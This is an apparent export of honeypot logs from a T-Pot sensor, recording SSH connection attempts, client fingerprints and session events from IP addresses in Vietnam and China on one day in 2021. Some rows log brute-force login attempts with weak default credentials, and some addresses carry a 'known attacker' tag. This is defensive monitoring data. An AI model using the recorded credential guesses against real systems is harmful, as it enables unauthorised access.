\N	\N
22082	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:06:29.893129+03	2021-09-20 14:15:04.472612+03	{"_id": "IwXiAnwBvYTbRNuEy__W", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 39846, "dest_port": 22, "timestamp": "2021-09-20T11:06:29.893129", "@timestamp": "2021-09-20T11:06:29.893Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22083	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:29.166129+03	2021-09-20 14:15:04.473613+03	{"_id": "JAXiAnwBvYTbRNuEy__W", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "1d00d8c31a3b", "@version": "1", "duration": 2.6619906425476074, "timestamp": "2021-09-20T11:06:29.166129Z", "@timestamp": "2021-09-20T11:06:29.166Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
22084	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:29.29815+03	2021-09-20 14:15:04.475613+03	{"_id": "JQXiAnwBvYTbRNuEy__W", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [admin/12345678] failed", "session": "18ce36227242", "@version": "1", "password": "12345678", "username": "admin", "timestamp": "2021-09-20T11:06:29.298150Z", "@timestamp": "2021-09-20T11:06:29.298Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
22085	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:29.468417+03	2021-09-20 14:15:04.476631+03	{"_id": "JgXiAnwBvYTbRNuEy__W", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "882fee0caf1d", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:29.468417Z", "@timestamp": "2021-09-20T11:06:29.468Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
22086	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:06:29.7247+03	2021-09-20 14:15:04.477613+03	{"_id": "JwXiAnwBvYTbRNuEy__W", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "bsd-aarch64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.session.params", "message": [], "session": "93a2eacc7d8b", "@version": "1", "timestamp": "2021-09-20T11:06:29.724700Z", "@timestamp": "2021-09-20T11:06:29.724Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
22087	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:29.74118+03	2021-09-20 14:15:04.478613+03	{"_id": "KAXiAnwBvYTbRNuEy__W", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "b032e03f56c0", "@version": "1", "duration": 2.4771814346313477, "timestamp": "2021-09-20T11:06:29.741180Z", "@timestamp": "2021-09-20T11:06:29.741Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
22088	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:29.748592+03	2021-09-20 14:15:04.480613+03	{"_id": "KQXiAnwBvYTbRNuEy__W", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "882fee0caf1d", "@version": "1", "timestamp": "2021-09-20T11:06:29.748592Z", "@timestamp": "2021-09-20T11:06:29.748Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
22089	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:29.7533+03	2021-09-20 14:15:04.481613+03	{"_id": "KgXiAnwBvYTbRNuEy__W", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "d86157a4cfc8", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:29.753300Z", "@timestamp": "2021-09-20T11:06:29.753Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
22100	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:06:31.199385+03	2021-09-20 14:15:04.495612+03	{"_id": "XQXiAnwBvYTbRNuE0v-4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 57728306700487, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 47654, "dest_port": 22, "timestamp": "2021-09-20T11:06:31.199385Z", "@timestamp": "2021-09-20T11:06:31.199Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
22090	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:29.893842+03	2021-09-20 14:15:04.482612+03	{"_id": "KwXiAnwBvYTbRNuEy__W", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "d86157a4cfc8", "@version": "1", "timestamp": "2021-09-20T11:06:29.893842Z", "@timestamp": "2021-09-20T11:06:29.893Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
22091	218.92.0.190	109.199.241.180	Suricata	2021-09-20 14:06:30.40476+03	2021-09-20 14:15:04.483613+03	{"_id": "PAXiAnwBvYTbRNuEzv_P", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "PUTTY"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "flow_id": 1546149223009956, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 29573, "dest_port": 22, "timestamp": "2021-09-20T11:06:30.404760Z", "@timestamp": "2021-09-20T11:06:30.404Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
22092	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:30.389339+03	2021-09-20 14:15:04.485612+03	{"_id": "TwXiAnwBvYTbRNuEz_-5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:7381 (192.168.176.2:22) [session: c69d5bec2a1b]", "session": "c69d5bec2a1b", "@version": "1", "protocol": "ssh", "src_port": 7381, "dest_port": 22, "timestamp": "2021-09-20T11:06:30.389339Z", "@timestamp": "2021-09-20T11:06:30.389Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
22093	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:06:30.132259+03	2021-09-20 14:15:04.486612+03	{"_id": "QQXiAnwBvYTbRNuEz_-5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-PUTTY'", "session": "eda904d05d15", "version": "b'SSH-2.0-PUTTY'", "@version": "1", "timestamp": "2021-09-20T11:06:30.132259Z", "@timestamp": "2021-09-20T11:06:30.132Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
22094	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:30.304284+03	2021-09-20 14:15:04.487614+03	{"_id": "QwXiAnwBvYTbRNuEz_-5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [teste/123456] failed", "session": "4370b50d0e30", "@version": "1", "password": "123456", "username": "teste", "timestamp": "2021-09-20T11:06:30.304284Z", "@timestamp": "2021-09-20T11:06:30.304Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
